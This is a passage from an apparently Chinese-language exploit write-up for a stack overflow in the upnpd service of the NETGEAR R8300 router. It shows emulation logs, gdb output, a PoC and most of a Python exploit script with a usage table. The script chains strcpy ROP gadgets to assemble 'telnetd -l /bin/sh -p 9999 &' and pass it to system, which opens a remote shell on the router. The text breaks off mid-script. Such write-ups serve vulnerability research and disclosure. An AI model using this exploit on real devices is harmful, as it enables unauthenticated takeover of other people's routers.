class="line">**固件模拟日志：**</span><br><span class="line">ssdp_http_method_check(203):</span><br><span class="line">ssdp_http_method_check(231):Http message error</span><br><span class="line">Detaching from process 3477</span><br><span class="line">rmmod: dhd.ko: No such file or directory</span><br><span class="line">**reboot: rmmod dhd failed: No such file or directory**</span><br><span class="line">**[0x0003e9e4] system('reboot') = 0**</span><br></pre></td></tr></table></figure>
|
||
<p>综合目前的情况：</p>
|
||
<ol>
|
||
<li>目前可以控制<code>R4 - R11</code> 以及 <code>PC(R15)</code>寄存器</li>
|
||
<li>开了 NX 不能用在栈上布置<code>shellcode</code>。</li>
|
||
<li>有 ASLR，不能泄漏地址，不能使用各种 LIB 库中的符号和 <code>gadget</code>。</li>
|
||
<li><code>strcpy()</code> 函数导致的溢出，payload 中不能包含 <code>\x00</code> 字符。</li>
|
||
</ol>
|
||
<h2 id="0x05-漏洞利用"><a href="#0x05-漏洞利用" class="headerlink" title="0x05 漏洞利用"></a>0x05 漏洞利用</h2><p>路由器已启用ASLR缓解功能，我们可以使用ROP攻击绕过该功能。但是，我们通过使用对NULL字节敏感的<strong>strcpy</strong>来执行复制调用，这反过来又会阻止我们使用ROP攻击。因此，要利用包含NULL字节的地址，我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。（<code>stack reuse</code>）<br>注意到recvfrom函数在接收 socket 数据时 buffer 未初始化，利用内存未初始化问题，我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC，每个 payload 前添加 <code>\x00</code> 防止程序崩溃（strcpy遇到\x00截断，不会拷贝后面部分）。</p>
|
||
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">s.connect((<span class="string">'192.168.2.2'</span>, <span class="number">1900</span>))</span><br><span class="line">s.send(<span class="string">b'\x00'</span> + <span class="string">b'A'</span> * <span class="number">0x1ff0</span>)</span><br><span class="line">s.send(<span class="string">b'\x00'</span> + <span class="string">b'B'</span> * <span class="number">0x633</span>)</span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure>
|
||
<p>在strcpy下断点调试，并检查栈区内存</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">gef➤ info b</span><br><span class="line">Num Type Disp Enb Address What</span><br><span class="line">1 breakpoint keep y 0x76dd6e48 <recvfrom+4></span><br><span class="line">2 breakpoint keep y 0x76dc350c <strcpy+4></span><br><span class="line">4 breakpoint keep y 0x00025e70</span><br><span class="line">5 breakpoint keep y 0x00025e74</span><br><span class="line">gef➤ search-pattern BBBB</span><br><span class="line">[+] Searching 'BBBB' in memory</span><br><span class="line">[+] In '/lib/libc.so.0'(0x76d85000-0x76dea000), permission=r-x</span><br><span class="line"> 0x76de17e4 - 0x76de17e8 → "BBBB[...]"</span><br><span class="line"> 0x76de1ecc - 0x76de1edb → "BBBBBBBBCCCCCCC"</span><br><span class="line"> 0x76de1ed0 - 0x76de1edb → "BBBBCCCCCCC"</span><br><span class="line">[+] In '[stack]'(0x7eb36000-0x7eb6f000), permission=rw-</span><br><span class="line"> **0x7eb6cc75** - 0x7eb6ccac → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"</span><br><span class="line"> 0x7eb6cc79 - 0x7eb6ccb0 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"</span><br><span class="line"> 0x7eb6cc7d - 0x7eb6ccb4 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"</span><br><span class="line"> 0x7eb6cc81 - 0x7eb6ccb8 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"</span><br><span class="line"> 0x7eb6cc85 - 0x7eb6ccbc → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"</span><br><span class="line">gef➤ x/s 0x7eb6cc75</span><br><span class="line">0x7eb6cc75: 'B' <repeats 1587 times></span><br><span class="line">gef➤ x/s 0x7eb6cc75+1588</span><br><span class="line">0x7eb6d2a9: 'A' <repeats 6588 times></span><br></pre></td></tr></table></figure>
|
||
<p>此时程序上下文为</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">gef➤ context</span><br><span class="line">[ Legend: Modified register | Code | Heap | Stack | String ]</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────── registers ────</span><br><span class="line"><span class="meta">$</span>r0 : 0x7eb6c5fc → 0x00000000</span><br><span class="line">**$r1 : 0x7eb6cc74** → 0x42424200</span><br><span class="line"><span class="meta">$</span>r2 : 0x1d </span><br><span class="line"><span class="meta">$</span>r3 : 0x7eb6c5fc → 0x00000000</span><br><span class="line">**$r4 : 0x7eb6cc74** → 0x42424200</span><br><span class="line"><span class="meta">$</span>r5 : 0x0000cf02 → blx 0x10c6586</span><br><span class="line"><span class="meta">$</span>r6 : 0x7eb6ecf4 → "192.168.2.1"</span><br><span class="line"><span class="meta">$</span>r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000</span><br><span class="line"><span class="meta">$</span>r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000</span><br><span class="line"><span class="meta">$</span>r9 : 0x3eaf </span><br><span class="line"><span class="meta">$</span>r10 : 0x1 </span><br><span class="line"><span class="meta">$</span>r11 : 0x000c4584 → 0x00000005</span><br><span class="line"><span class="meta">$</span>r12 : 0x00055450 → 0x76dc3508 → <strcpy+0> mov r3, r0</span><br><span class="line"><span class="meta">$</span>sp : 0x7eb6c5d8 → "nnection:1"</span><br><span class="line"><span class="meta">$</span>lr : 0x00025e74 → mov r0, r7</span><br><span class="line"><span class="meta">$</span>pc : 0x76dc350c → <strcpy+4> ldrb r2, [r1], #1</span><br><span class="line"><span class="meta">$</span>cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────────── stack ────</span><br><span class="line">0x7eb6c5d8│+0x0000: "nnection:1" ← $sp</span><br><span class="line">0x7eb6c5dc│+0x0004: "tion:1"</span><br><span class="line">0x7eb6c5e0│+0x0008: 0x0000313a (":1"?)</span><br><span class="line">0x7eb6c5e4│+0x000c: 0x00000000</span><br><span class="line">0x7eb6c5e8│+0x0010: 0x00000000</span><br><span class="line">0x7eb6c5ec│+0x0014: 0x00000000</span><br><span class="line">0x7eb6c5f0│+0x0018: 0x00000000</span><br><span class="line">0x7eb6c5f4│+0x001c: 0x00000000</span><br><span class="line">────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────</span><br><span class="line"> 0x76dc3500 <strchrnul+24> bne 0x76dc34f0 <strchrnul+8></span><br><span class="line"> 0x76dc3504 <strchrnul+28> bx lr</span><br><span class="line"> 0x76dc3508 <strcpy+0> mov r3, r0</span><br><span class="line"> → 0x76dc350c <strcpy+4> ldrb r2, [r1], #1</span><br><span class="line"> 0x76dc3510 <strcpy+8> cmp r2, #0</span><br><span class="line"> 0x76dc3514 <strcpy+12> strb r2, [r3], #1</span><br><span class="line"> 0x76dc3518 <strcpy+16> bne 0x76dc350c <strcpy+4></span><br><span class="line"> 0x76dc351c <strcpy+20> bx lr</span><br><span class="line"> 0x76dc3520 <strcspn+0> push {r4, lr}</span><br><span class="line">─────────────────────────────────────────────────────────────────────────────────────────────── threads ────</span><br><span class="line"><span class="meta">[#</span>0] Id 1, Name: "upnpd", stopped, reason: BREAKPOINT</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────────── trace ────</span><br><span class="line"><span class="meta">[#</span>0] 0x76dc350c → strcpy()</span><br><span class="line"><span class="meta">[#</span>1] 0x25e74 → mov r0, r7</span><br><span class="line">────────────────────────────────────────────────────────────────────────────────────────────────────────────</span><br></pre></td></tr></table></figure>
|
||
<p>由于接收 socket 数据的 buffer 未初始化，在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间，也足以给 ROP 的 payload 一片容身之地。</p>
|
||
<p>使用 <code>strcpy</code> 调用在 bss 上拼接出命令字符串 <code>telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00</code>，并调整 R0 指向这段内存，然后跳转 <code>system</code> 执行即可。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_26.png" alt></p>
|
||
<h2 id="0x06-脚本使用说明"><a href="#0x06-脚本使用说明" class="headerlink" title="0x06 脚本使用说明"></a><strong>0x06 脚本使用说明</strong></h2><table>
|
||
<thead>
|
||
<tr>
|
||
<th>脚本帮助：</th>
|
||
<th>usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>真实利用：</td>
|
||
<td>IP:192.168.2.2 Port:upnp/1900</td>
|
||
</tr>
|
||
<tr>
|
||
<td></td>
|
||
<td><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083779/netgear/image_27.png" alt></td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"></span><br><span class="line">p32 = <span class="keyword">lambda</span> x: pack(<span class="string">"<L"</span>, x)</span><br><span class="line">bssBase = <span class="number">0x9E150</span> <span class="comment">#string bss BASE Address</span></span><br><span class="line">ip = <span class="string">'192.168.2.2'</span></span><br><span class="line">libc_addr = <span class="number">0x76d9d450</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">banner</span><span class="params">()</span>:</span></span><br><span class="line"> a= <span class="string">"""</span></span><br><span class="line"><span class="string"> # NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130</span></span><br><span class="line"><span class="string"> # Date : 2020.03.09</span></span><br><span class="line"><span class="string"> # POC : system("telnetd -l /bin/sh -p 9999& ") Execute</span></span><br><span class="line"><span class="string"> # Desc : execute telnetd to access router</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">print</span> a</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">makpayload2</span><span class="params">(libc_addr)</span>:</span></span><br><span class="line"> payload = (</span><br><span class="line"> <span class="number">0x604</span> * <span class="string">b'a'</span> + <span class="comment"># dummy</span></span><br><span class="line"> p32(int(libc_addr,<span class="number">16</span>)) + <span class="comment"># v51 Need to Existed Address</span></span><br><span class="line"> (<span class="number">0x634</span> - <span class="number">0x604</span> - <span class="number">8</span>) * <span class="string">b'a'</span> + <span class="comment"># dummy</span></span><br><span class="line"> p32(<span class="number">0x000230f0</span>) + <span class="comment"># #change eip LR=0x000230f0</span></span><br><span class="line"> <span class="number">2509</span> * <span class="string">b'a'</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> .text:000230F0 ADD SP, SP, #0x20C</span></span><br><span class="line"><span class="string"> .text:000230F4 ADD SP, SP, #0x1000</span></span><br><span class="line"><span class="string"> .text:000230F8 LDMFD SP!, {R4-R11,PC}</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> )</span><br><span class="line"> print(len(payload))</span><br><span class="line"> <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">makpayload1</span><span class="params">()</span>:</span></span><br><span class="line"> expayload = <span class="string">''</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> .text:00013644 MOV R0, R10 ; dest</span></span><br><span class="line"><span class="string"> .text:00013648 MOV R1, R5 ; src</span></span><br><span class="line"><span class="string"> .text:0001364C BL strcpy</span></span><br><span class="line"><span class="string"> .text:00013650 MOV R0, R4</span></span><br><span class="line"><span class="string"> .text:00013654 ADD SP, SP, #0x5C ; '\'</span></span><br><span class="line"><span class="string"> .text:00013658 LDMFD SP!, {R4-R8,R10,PC}</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> expayload += <span class="string">'a'</span> * <span class="number">4550</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">3</span>) <span class="comment"># R4 Register</span></span><br><span class="line"> expayload += p32(<span class="number">0x3F340</span>) <span class="comment"># R5 Register //tel</span></span><br><span class="line"> expayload += <span class="string">'IIII'</span> <span class="comment"># R6 Register</span></span><br><span class="line"> expayload += <span class="string">'HHHH'</span> <span class="comment"># R7 Register</span></span><br><span class="line"> expayload += <span class="string">'GGGG'</span> <span class="comment"># R8 Register</span></span><br><span class="line"> expayload += <span class="string">'FFFF'</span> <span class="comment"># R9 Register</span></span><br><span class="line"> expayload += p32(bssBase) <span class="comment"># R10 Register</span></span><br><span class="line"> expayload += <span class="string">'BBBB'</span> <span class="comment"># R11 Register</span></span><br><span class="line"> expayload += p32(<span class="number">0x13644</span>) <span class="comment"># strcpy</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">6</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x423D7</span>) <span class="comment">#R5 //telnet</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">8</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x40CA4</span> ) <span class="comment">#R5 //telnetd\x20</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">10</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x4704A</span>) <span class="comment">#R5 //telnetd\x20-l</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">11</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x04C281</span>) <span class="comment">#R5 //telnetd\x20-l/bin/\x20</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">16</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x40CEC</span>) <span class="comment">#R5 //telnetd\x20-l/bin/</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">18</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x9CB5</span>) <span class="comment">#R5 //telnetd\x20-l/bin/sh</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">22</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x41B17</span>) <span class="comment">#R5 //telnetd\x20-l/bin/sh\x20-p\x20</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">24</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x03FFC4</span>) <span class="comment">#R5 //telnetd\x20-l/bin/sh\x20-p\x2099</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">26</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x03FFC4</span>) <span class="comment">#R5 //telnetd\x20-l/bin/sh\x20-p\x209999</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">28</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x4A01D</span>) <span class="comment">#R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase+<span class="number">30</span>) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x461C1</span>) <span class="comment">#R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x13648</span>) <span class="comment">#strcpy</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] Make Payload ..."</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> .text:0001A83C MOV R0, R4 ; command</span></span><br><span class="line"><span class="string"> .text:0001A840 BL system</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">0x5c</span><span class="comment">#dummy</span></span><br><span class="line"> expayload += p32(bssBase) <span class="comment">#R4</span></span><br><span class="line"> expayload += p32(<span class="number">0x47398</span>) <span class="comment">#R5</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R6</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span 